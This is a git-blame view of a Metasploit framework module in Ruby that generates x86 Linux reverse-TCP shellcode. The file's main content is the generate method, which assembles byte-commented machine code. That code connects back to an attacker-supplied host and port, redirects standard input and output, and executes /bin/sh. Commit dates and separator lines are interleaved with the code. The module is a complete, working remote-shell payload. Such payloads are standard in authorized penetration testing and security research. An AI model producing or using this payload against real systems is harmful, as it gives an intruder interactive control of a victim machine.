2007-02-18 00:10:39 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
2005-07-13 18:06:12 +00:00
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2005-07-13 18:06:12 +00:00
|
|
|
|
2016-02-18 20:29:42 -06:00
|
|
|
CachedSize = 68
|
|
|
|
|
|
2005-07-13 18:06:12 +00:00
|
|
|
include Msf::Payload::Single
|
2007-06-09 02:25:31 +00:00
|
|
|
include Msf::Payload::Linux
|
2010-02-24 01:19:59 +00:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
2008-10-23 02:19:50 +00:00
|
|
|
|
2005-07-13 18:06:12 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(merge_info(info,
|
|
|
|
|
'Name' => 'Linux Command Shell, Reverse TCP Inline',
|
|
|
|
|
'Description' => 'Connect back to attacker and spawn a command shell',
|
2016-02-18 20:24:30 -06:00
|
|
|
'Author' => ['Ramon de C Valle', 'joev'],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-07-13 18:06:12 +00:00
|
|
|
'Platform' => 'linux',
|
2005-07-13 18:54:41 +00:00
|
|
|
'Arch' => ARCH_X86,
|
2005-07-13 18:06:12 +00:00
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
2016-02-18 20:24:30 -06:00
|
|
|
'Session' => Msf::Sessions::CommandShellUnix
|
|
|
|
|
))
|
|
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
|
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ])
|
|
|
|
|
])
|
|
|
|
|
end
|
|
|
|
|
|
2022-11-04 00:33:03 +00:00
|
|
|
def generate(_opts = {})
|
2016-02-18 20:24:30 -06:00
|
|
|
# pad the shell path to a multiple of 4 with slashes
|
|
|
|
|
shell = datastore['CMD']
|
|
|
|
|
remainder = shell.bytes.length % 4
|
2016-02-18 20:36:52 -06:00
|
|
|
if remainder == 0 then remainder = 4 end
|
2016-02-18 20:24:30 -06:00
|
|
|
shell_padded = ("/" * (4-remainder)) + shell
|
|
|
|
|
|
2018-05-01 04:57:42 -05:00
|
|
|
"\x31\xdb" + # xor ebx,ebx
|
|
|
|
|
"\xf7\xe3" + # mul ebx
|
|
|
|
|
"\x53" + # push ebx
|
|
|
|
|
"\x43" + # inc ebx
|
|
|
|
|
"\x53" + # push ebx
|
|
|
|
|
"\x6a\x02" + # push byte +0x2
|
|
|
|
|
"\x89\xe1" + # mov ecx,esp
|
|
|
|
|
"\xb0\x66" + # mov al,0x66 (sys_socketcall)
|
|
|
|
|
"\xcd\x80" + # int 0x80
|
|
|
|
|
"\x93" + # xchg eax,ebx
|
|
|
|
|
"\x59" + # pop ecx
|
|
|
|
|
"\xb0\x3f" + # mov al,0x3f (sys_dup2)
|
|
|
|
|
"\xcd\x80" + # int 0x80
|
|
|
|
|
"\x49" + # dec ecx
|
|
|
|
|
"\x79\xf9" + # jns 0x11
|
2016-02-19 19:08:38 -06:00
|
|
|
"\x68" + [IPAddr.new(datastore['LHOST'], Socket::AF_INET).to_i].pack('N') + # push ip addr
|
|
|
|
|
"\x68\x02\x00" + [datastore['LPORT'].to_i].pack('S>') + # push port
|
2018-05-01 04:57:42 -05:00
|
|
|
"\x89\xe1" + # mov ecx,esp
|
|
|
|
|
"\xb0\x66" + # mov al,0x66 (sys_socketcall)
|
|
|
|
|
"\x50" + # push eax
|
|
|
|
|
"\x51" + # push ecx
|
|
|
|
|
"\x53" + # push ebx
|
|
|
|
|
"\xb3\x03" + # mov bl,0x3
|
|
|
|
|
"\x89\xe1" + # mov ecx,esp
|
|
|
|
|
"\xcd\x80" + # int 0x80
|
|
|
|
|
"\x52" + # push edx
|
2016-02-18 20:24:30 -06:00
|
|
|
|
|
|
|
|
# Split shellname into 4-byte words and push them one-by-one
|
|
|
|
|
# on to the stack
|
|
|
|
|
shell_padded.bytes.reverse.each_slice(4).map do |word|
|
|
|
|
|
"\x68" + word.reverse.pack('C*')
|
|
|
|
|
end.join +
|
|
|
|
|
|
2018-05-01 04:57:42 -05:00
|
|
|
"\x89\xe3" + # mov ebx,esp
|
|
|
|
|
"\x52" + # push edx
|
|
|
|
|
"\x53" + # push ebx
|
|
|
|
|
"\x89\xe1" + # mov ecx,esp
|
|
|
|
|
"\xb0\x0b" + # mov al,0xb (execve)
|
2016-02-18 20:24:30 -06:00
|
|
|
"\xcd\x80" # int 0x80
|
2005-07-13 18:06:12 +00:00
|
|
|
end
|
2008-10-23 02:19:50 +00:00
|
|
|
end
|